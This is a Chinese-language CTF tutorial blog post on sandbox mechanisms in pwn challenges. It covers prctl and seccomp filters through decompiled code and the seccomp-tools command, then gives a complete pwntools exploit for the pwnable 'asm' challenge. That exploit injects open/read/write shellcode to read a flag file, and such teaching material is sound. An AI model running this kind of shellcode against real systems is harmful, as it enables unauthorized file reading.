沙盒机制详解
概述
沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取open()/read()/write()的组合方式来读取flag。当然有些题目可能还会将上面三个系统调用砍掉一个,进一步限制我们获取到flag,这个会在后面的例题看到。
开启沙盒的两种方式
在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。
prctl函数调用
int sub_1269()
{
__int16 v1; // [rsp+0h] [rbp-70h] BYREF
__int16 *v2; // [rsp+8h] [rbp-68h]
__int16 v3; // [rsp+10h] [rbp-60h] BYREF
char v4; // [rsp+12h] [rbp-5Eh]
char v5; // [rsp+13h] [rbp-5Dh]
int v6; // [rsp+14h] [rbp-5Ch]
__int16 v7; // [rsp+18h] [rbp-58h]
char v8; // [rsp+1Ah] [rbp-56h]
char v9; // [rsp+1Bh] [rbp-55h]
int v10; // [rsp+1Ch] [rbp-54h]
__int16 v11; // [rsp+20h] [rbp-50h]
char v12; // [rsp+22h] [rbp-4Eh]
char v13; // [rsp+23h] [rbp-4Dh]
int v14; // [rsp+24h] [rbp-4Ch]
__int16 v15; // [rsp+28h] [rbp-48h]
char v16; // [rsp+2Ah] [rbp-46h]
char v17; // [rsp+2Bh] [rbp-45h]
int v18; // [rsp+2Ch] [rbp-44h]
__int16 v19; // [rsp+30h] [rbp-40h]
char v20; // [rsp+32h] [rbp-3Eh]
char v21; // [rsp+33h] [rbp-3Dh]
int v22; // [rsp+34h] [rbp-3Ch]
__int16 v23; // [rsp+38h] [rbp-38h]
char v24; // [rsp+3Ah] [rbp-36h]
char v25; // [rsp+3Bh] [rbp-35h]
int v26; // [rsp+3Ch] [rbp-34h]
__int16 v27; // [rsp+40h] [rbp-30h]
char v28; // [rsp+42h] [rbp-2Eh]
char v29; // [rsp+43h] [rbp-2Dh]
int v30; // [rsp+44h] [rbp-2Ch]
__int16 v31; // [rsp+48h] [rbp-28h]
char v32; // [rsp+4Ah] [rbp-26h]
char v33; // [rsp+4Bh] [rbp-25h]
int v34; // [rsp+4Ch] [rbp-24h]
__int16 v35; // [rsp+50h] [rbp-20h]
char v36; // [rsp+52h] [rbp-1Eh]
char v37; // [rsp+53h] [rbp-1Dh]
int v38; // [rsp+54h] [rbp-1Ch]
__int16 v39; // [rsp+58h] [rbp-18h]
char v40; // [rsp+5Ah] [rbp-16h]
char v41; // [rsp+5Bh] [rbp-15h]
int v42; // [rsp+5Ch] [rbp-14h]
__int16 v43; // [rsp+60h] [rbp-10h]
char v44; // [rsp+62h] [rbp-Eh]
char v45; // [rsp+63h] [rbp-Dh]
int v46; // [rsp+64h] [rbp-Ch]
__int16 v47; // [rsp+68h] [rbp-8h]
char v48; // [rsp+6Ah] [rbp-6h]
char v49; // [rsp+6Bh] [rbp-5h]
int v50; // [rsp+6Ch] [rbp-4h]
prctl(38, 1LL, 0LL, 0LL, 0LL);
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 4;
v7 = 21;
v8 = 0;
v9 = 9;
v10 = -1073741762;
v11 = 32;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 53;
v16 = 7;
v17 = 0;
v18 = 0x40000000;
v19 = 21;
v20 = 6;
v21 = 0;
v22 = 59;
v23 = 21;
v24 = 0;
v25 = 4;
v26 = 1;
v27 = 32;
v28 = 0;
v29 = 0;
v30 = 36;
v31 = 21;
v32 = 0;
v33 = 2;
v34 = 0;
v35 = 32;
v36 = 0;
v37 = 0;
v38 = 32;
v39 = 21;
v40 = 1;
v41 = 0;
v42 = 16;
v43 = 6;
v44 = 0;
v45 = 0;
v46 = 2147418112;
v47 = 6;
v48 = 0;
v49 = 0;
v50 = 0;
v1 = 12;
v2 = &v3;
return prctl(22, 2LL, &v1);
}
如上面代码所示,展示的是prctl开启沙盒的方式,上面的代码是直接来自某道真实pwn题,经过IDA反编译后的结果。这里最关键的代码是两个prctl的调用,然后其它看似很零散的变量其实是用来设置沙盒的结构体,只不过这里被IDA解释成了这样。关于如何设置结构体来控制沙盒的行为,这里我就不详细介绍了,大家可以查阅相关的资料,我下面简单介绍下prctl函数调用的功能。
// 函数原型
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
// option选项有很多,这里介绍两个
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)
// option为38的情况
// 此时第二个参数设置为1表示禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);
// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
seccomp库函数
该库函数的使用就比较简单和清晰了,下面的代码也取材于某道真实的pwn题,方便起见,我直接在代码中进行了注释。
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
// 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load - Load the current seccomp filter into the kernel
if ( seccomp_load(v1) < 0 )
{
// seccomp_release - Release the seccomp filter state
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
使用seccomp-tools识别沙盒
接下来介绍一个工具 – seccomp-tools,可以直接使用该工具识别pwn题到底禁用了哪些保护和允许哪些保护,基本用法如下代码所示。
seccomp-tools dump ./pwn
两道例题
接下来以两道例题作为讲解,看下ctf中的开了沙盒的pwn题该作何求解。
pwnable_asm
第一道题来自pwnable,名为asm,题目和远程环境可以在BUUCTF上找到,main函数如下截图所示,可以看到整个程序其实非常直接,告诉我们开了seccomp,只能用open/read/write的组合调用的方式来获取flag,并开辟了一段可读可写可执行的内存区域供我们使用,将输入读入到该内存区域中,在程序最后也是直接将这段内存区域的内容作为指令直接运行。
使用seccomp-tools检查沙盒机制,可以看到先是判断了体系架构是否是x86_64的,然后对系统调用号进行了判断,只允许了read/write/open/exit四种系统调用。
对于该题,我们的求解思路也比较清晰,直接使用open/read/write的组合调用读取flag就行,当然前提是你得知道或者猜测出存储flag的文件名字。下面是完整的exp:
from pwn import *
context(os="linux", arch="amd64")
p = process("./asm")
# p =remote("node3.buuoj.cn", 28320)
ad = 0x41414000+0x100
code = shellcraft.open("./flag")
code += shellcraft.read(3, ad, 0x50)
code += shellcraft.write(1, ad, 0x50)
code = asm(code)
p.send(code)
p.interactive()
参考博客
PWN题中常见的seccomp绕过方法
seccomp沙箱机制 & 2019ByteCTF VIP
一道 CTF 题目学习 prctl 函数的沙箱过滤规则
总结
不忘初心,砥砺前行!